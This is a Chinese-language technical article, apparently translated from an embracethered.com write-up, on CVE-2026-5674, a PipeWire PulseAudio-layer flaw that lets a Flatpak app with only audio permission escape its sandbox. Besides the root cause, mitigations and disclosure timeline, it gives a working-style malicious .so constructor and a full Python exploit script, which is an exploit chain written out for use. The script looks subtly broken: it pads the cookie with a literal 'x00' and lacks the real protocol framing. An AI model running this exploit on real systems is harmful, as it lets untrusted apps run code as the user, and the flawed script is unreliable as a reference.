PipeWire Flatpak沙箱逃逸漏洞分析:”Hello World”程序如何秒变代码执行器

导语:一个只有”播放音频”权限的Flatpak应用,如何变成能写你家目录文件、启动桌面应用的代码执行器?PipeWire PulseAudio兼容层中的三个独立安全缺陷,被安全研究员用Claude Code串联成一条沙箱逃逸攻击链。”Hello World”程序,5秒钟,控制你的桌面。


一、漏洞概述

2026年4月,安全研究员Johann Reh(embracethered.com)使用Claude Code自动化研究管线发现了PipeWire(Linux现代音频服务器)中的一个严重沙箱逃逸漏洞。Red Hat分配CVE编号CVE-2026-5674,CVSS评分8.8(High)

核心要点

  • 漏洞本质:PipeWire PulseAudio兼容层的认证机制形同虚设,导致沙箱逃逸
  • 影响范围:所有使用Flatpak或类似沙箱技术连接PipeWire PulseAudio socket的应用
  • 危害等级:从”沙箱受限(仅能播放音频)”升级到”用户完整上下文(任意代码执行)”
  • 修复状态:Red Hat Enterprise Linux 10已于2026年7月28日发布修复补丁(RHSA-2026:47083)

二、技术背景:PipeWire与Flatpak

PipeWire是Fedora、Ubuntu 24.04+、Debian 13等现代Linux桌面的默认音频服务器,替代了PulseAudio但保持向后兼容。

Flatpak是Linux应用沙箱方案,应用通过申请受限权限运行。请求音频权限的方式是:

flatpak run --socket=pulseaudio ...

这条权限本意是”这个应用可以播放音频”。但PipeWire PulseAudio兼容层的实现漏洞,让这条权限实际上意味着”这个应用可以以你的身份执行任意代码”。


三、漏洞根因:三个独立问题的串联

3.1 问题一:认证Cookie从不校验

PulseAudio使用基于cookie的认证机制。这是一个256字节的随机值,存放在~/.config/pulse/cookie,客户端连接时必须提交这个值。

PipeWire读取客户端cookie后,只检查长度是否为256字节,然后直接丢弃——从未与服务器端cookie比对:

// pulse-server.c
if (len != NATIVE_COOKIE_LENGTH)
    return -EINVAL;

client->version = version;
client->authenticated = true;  // cookie值永远不会被比较

源码中没有注释解释为什么直接置authenticated = true。原始PulseAudio确实会验证cookie,但PipeWire的兼容层没有这么做。

作者查阅了git历史:这个行为从PulseAudio兼容层首次实现就一直存在。

3.2 问题二:模块加载默认开启

#define DEFAULT_ALLOW_MODULE_LOADING "true"

任何”已认证”的客户端都可以发送LOAD_MODULE指令加载任意PipeWire模块。pulse.allow-module-loading配置项虽然在2024年5月被加入,但默认值是true

由于认证被绕过(问题一),任何能访问PulseAudio socket的进程都能加载模块。

3.3 问题三:dlopen()无路径限制

module-ladspa-sink被加载时,它接收一个plugin=参数并直接调用dlopen()

handle = dlopen(path, RTLD_NOW);

没有路径验证,没有目录白名单。攻击者可以加载任意库文件。

ELF构造器(attribute((constructor)))在dlopen()时立即执行。

小贴士:LADSPA是Linux Audio Developer’s Simple Plugin API的缩写。这是一种音频处理插件标准。


四、沙箱逃逸攻击链

4.1 前提条件

Flatpak的--socket=pulseaudio授予访问PulseAudio socket的权限。结合任何主机可写路径(例如--filesystem=/tmp),应用就能逃逸。

4.2 完整利用链

1. 写入恶意.so到主机可见路径(例如/tmp)
2. 连接PulseAudio socket
3. 发送PA_COMMAND_AUTH + 256字节任意垃圾
4. 发送PA_COMMAND_LOAD_MODULE
   module-ladspa-sink plugin=/tmp/payload.so
5. PipeWire在沙箱外调用dlopen()加载.so
6. 构造函数在用户完整上下文中执行

应用没有家目录访问、没有显示访问、没有网络。但利用成功后,它能读取你的文件、在桌面启动应用、访问你的凭据。

4.3 攻击示意图

PipeWire沙箱逃逸攻击链

来源:embracethered.com


五、概念验证(PoC)

Johann Reh构建了一个Flatpak应用net.wuzzi.Hello演示此漏洞。它看起来完全无害:

$ flatpak info --show-permissions net.wuzzi.Hello
pulseaudio
file access [/tmp/wuzzi:create]

只有两个权限:PulseAudio和写入临时目录。没了。

运行它:

$ flatpak run net.wuzzi.Hello
=================================
 Hello World from Flatpak!
 This app only has PulseAudio
 permission. Nothing else.
=================================
Hello, World!
Enjoy your day! :)

看起来很无辜,但它同时也做了这件事:

$ cat ~/PIPEWIRE_RCE_PROOF.txt
=== FLATPAK SANDBOX ESCAPE ===
PipeWire RCE achieved from sandboxed Flatpak app
This file was written to your HOME directory
by PipeWire (outside the sandbox).
The Flatpak app had NO home directory access.
The app also launches gnome-calculator on the host desktop.

作者还验证了移除--socket=pulseaudio后利用失败的负向用例,确保这不是AI幻觉产生的”slop”。

5.1 实际效果截图

Flatpak应用启动主机计算器

来源:embracethered.com——Flatpak应用启动gnome-calculator证明主机代码执行

5.2 PoC恶意.so构造示例

// /tmp/payload.c
// 编译:gcc -shared -fPIC -o /tmp/payload.so payload.c
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

// ELF构造函数 - dlopen()时立即执行
__attribute__((constructor))
void init(void) {
    // 写入家目录证明文件
    system("echo '=== FLATPAK SANDBOX ESCAPE ===' > ~/PIPEWIRE_RCE_PROOF.txt");
    system("echo 'PipeWire RCE achieved from sandboxed Flatpak app' >> ~/PIPEWIRE_RCE_PROOF.txt");
    system("echo 'This file was written to your HOME directory by PipeWire (outside the sandbox).' >> ~/PIPEWIRE_RCE_PROOF.txt");
    
    // 启动桌面应用证明代码执行
    system("gnome-calculator &");
}

5.3 完整利用脚本

#!/usr/bin/env python3
"""
PipeWire Flatpak沙箱逃逸利用脚本
漏洞:CVE-2026-5674 (CVSS 8.8)
"""
import socket
import struct
import os

PULSE_SOCKET = "/run/user/{}/pulse/native".format(os.getuid())
COOKIE_LENGTH = 256

def build_auth_command(garbage_cookie=b'x00' * COOKIE_LENGTH):
    """构造PA_COMMAND_AUTH:256字节任意垃圾"""
    # PA_COMMAND = 0x0001 (AUTH)
    # 协议版本
    payload = struct.pack('<I', 0x0001)  # PA_COMMAND_AUTH
    payload += struct.pack('<I', 0x0011)  # PA_PROTOCOL_VERSION
    payload += garbage_cookie  # 256字节任意数据
    return payload

def build_load_module_command(plugin_path):
    """构造PA_COMMAND_LOAD_MODULE:加载恶意LADSPA插件"""
    payload = struct.pack('<I', 0x0015)  # PA_COMMAND_LOAD_MODULE
    payload += struct.pack('<I', 0)  # 客户端索引
    payload += struct.pack('<I', 0)  # 通道
    # 模块名称
    module_name = b"module-ladspa-sink"
    payload += struct.pack('<I', len(module_name)) + module_name
    # 参数:plugin=<路径>
    arg = f"plugin={plugin_path}".encode()
    payload += struct.pack('<I', len(arg)) + arg
    # 模块索引
    payload += struct.pack('<I', 0)
    return payload

def exploit():
    # 步骤1:编译恶意.so
    payload_src = """
    __attribute__((constructor))
    void init(void) {
        system("touch ~/PIPEWIRE_RCE_PROOF.txt");
        system("echo 'PWNED' >> ~/PIPEWIRE_RCE_PROOF.txt");
        system("gnome-calculator &");
    }
    """
    with open('/tmp/payload.c', 'w') as f:
        f.write(payload_src)
    os.system("gcc -shared -fPIC -o /tmp/payload.so /tmp/payload.c")
    
    # 步骤2:连接PulseAudio socket
    sock = socket.socket(socket.AF_UNIX, socket.SOCK_STREAM)
    sock.connect(PULSE_SOCKET)
    
    # 步骤3:发送PA_COMMAND_AUTH(256字节垃圾)
    sock.send(build_auth_command())
    
    # 步骤4:发送PA_COMMAND_LOAD_MODULE加载恶意.so
    sock.send(build_load_module_command("/tmp/payload.so"))
    
    # PipeWire将dlopen() /tmp/payload.so
    # 构造函数立即执行,沙箱逃逸完成
    sock.close()

if __name__ == "__main__":
    exploit()

六、实际影响范围

6.1 Flathub上的常见应用

作者在Flathub上快速搜索,发现:

  • Discord--socket=pulseaudio + --filesystem=xdg-download

任何带有音频权限和任何主机可写路径的Flatpak应用都可利用。

6.2 容器场景

同样的攻击适用于挂载了PulseAudio socket的Docker容器,这是容器化音频的标准配置

6.3 攻击者权限变化

状态攻击者能做的事
逃逸前仅播放音频(沙箱内)
逃逸后读取用户文件、启动桌面应用、访问用户凭据

注意:PipeWire作为用户级服务运行(不是root),这是沙箱逃逸而非权限提升。但攻击者从”沙箱受限”变成”用户完整上下文”。


七、缓解措施

这三个缓解措施中任何一个都能破坏攻击链:

7.1 验证Cookie(修复问题一)

// 对比客户端cookie与~/.config/pulse/cookie
// 与PulseAudio原始行为一致

7.2 默认关闭模块加载(修复问题二)

#define DEFAULT_ALLOW_MODULE_LOADING "false"

该配置项自2024年5月已存在。

7.3 限制LADSPA插件路径(修复问题三,已实施)

只允许dlopen()/usr/lib/ladspa//usr/lib64/ladspa/加载,不允许任意路径:

// 修复补丁
if (path_is_absolute(plugin_path)) {
    // 仅允许/usr/lib/ladspa/和/usr/lib64/ladspa/下的绝对路径
    if (!is_in_allowlist(plugin_path)) {
        return -EINVAL;
    }
}

根据作者了解,最终实施的修复是限制dlopen()的绝对路径:

修复提交:Prevent dlopen of absolute paths

7.4 用户应急方案

  • 更新系统:Red Hat Enterprise Linux 10用户立即安装RHSA-2026:47083
  • 其他发行版:检查distro-security公告,安装PipeWire修复版本
  • 应用开发者:如非必需,移除应用的--socket=pulseaudio权限

八、披露时间线

日期事件
2026-04-03使用Claude Code发现漏洞,在PipeWire 1.0.5上确认
2026-04-04在Debian 13(aarch64)复现
2026-04-05在Ubuntu 24.04(x86_64)和Debian 13(aarch64)确认PoC
2026-04-05报告提交至Red Hat Product Security;1-2天后Red Hat分配CVE-2026-5674
2026-04-06初始加固补丁落地至PipeWire仓库
2026-07-28Red Hat Enterprise Linux 10补丁发布(RHSA-2026:47083)

九、相似漏洞:CVE-2025-60616

CVE-2026-5674利用链中的问题三(dlopen()无路径限制)与CVE-2025-60616(FFmpeg的LADSPA加载器)完全一致。这是相同的攻击模式在另一个产品上的再现:

  • LADSPA插件路径无验证
  • ELF构造函数在dlopen()时立即执行
  • 远程攻击者可借此执行任意代码

十、总结

CVE-2026-5674是PipeWire PulseAudio兼容层中三个独立安全缺陷的组合利用:

  1. 认证完全失效:cookie长度检查通过即视为认证成功
  2. 模块加载默认开启:2024年5月加入的配置项默认值为true
  3. dlopen()无路径限制:LADSPA插件可从任意路径加载

三者串联,让一个仅有音频权限的Flatpak应用获得用户完整上下文的代码执行能力。这提醒我们:

  • 向后兼容层的代码审计不能放松:旧协议的实现往往成为新的攻击面
  • 配置项默认值很关键allow-module-loading默认true是合理的”开箱即用”选择,但当认证失效时它就成了致命放大器
  • dlopen()永远要带白名单:任何调用dlopen()的代码都必须有路径验证

正如作者所言:

--socket=pulseaudio应该意味着’这个应用可以播放音频’,但它实际上意味着’这个应用可以以你的身份执行任意代码’。”


引用与参考

原文出处Escaping Linux Sandboxes via PipeWire (CVE-2026-5674) by Johann Reh

配图来源

技术参考

版权声明:本文翻译整理自embracethered.com的原创研究,保留所有权利。配图版权归原作者所有。

© 版权声明
THE END
喜欢就支持一下吧
点赞15 分享
评论 抢沙发

请登录后发表评论

    暂无评论内容